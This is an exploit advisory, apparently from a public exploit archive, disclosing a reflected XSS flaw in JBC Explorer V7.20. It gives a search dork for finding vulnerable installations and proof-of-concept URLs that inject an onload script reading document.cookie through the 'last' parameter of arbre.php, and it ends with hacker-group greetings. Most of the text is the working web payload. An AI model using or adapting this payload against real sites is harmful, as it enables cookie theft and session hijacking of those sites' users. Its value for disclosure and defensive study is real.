33 lines
No EOL
831 B
Text
33 lines
No EOL
831 B
Text
###########################################
|
|
#
|
|
# Script Name : Explorer V7.20
|
|
#
|
|
# Version : V7.20 Release Candidate 1 REV A
|
|
#
|
|
# Bug Type : XSS vulnerability
|
|
#
|
|
# Found by : Metropolis
|
|
#
|
|
# Discovered : 20 December 2009
|
|
#
|
|
# Download app : http://www.jbc-explorer.info/?action=download&download=16
|
|
#
|
|
# Dork : JBC explorer [ by Psykokwak & XaV ]
|
|
#
|
|
###########################################
|
|
|
|
PoC :
|
|
|
|
http://[target]/[path]/dirsys/arbre.php?0=search&last=1[Xss]
|
|
|
|
example :
|
|
|
|
http://[target]/[path]/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)>
|
|
|
|
local Example :
|
|
|
|
http://localhost/album/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)>
|
|
|
|
[ Greetz:
|
|
|
|
[~]: Frf2 Az£L Z£L EsSandRe ticlem007 the killers themic Lariane All www.metropolis.thebigbang.fr :[~] |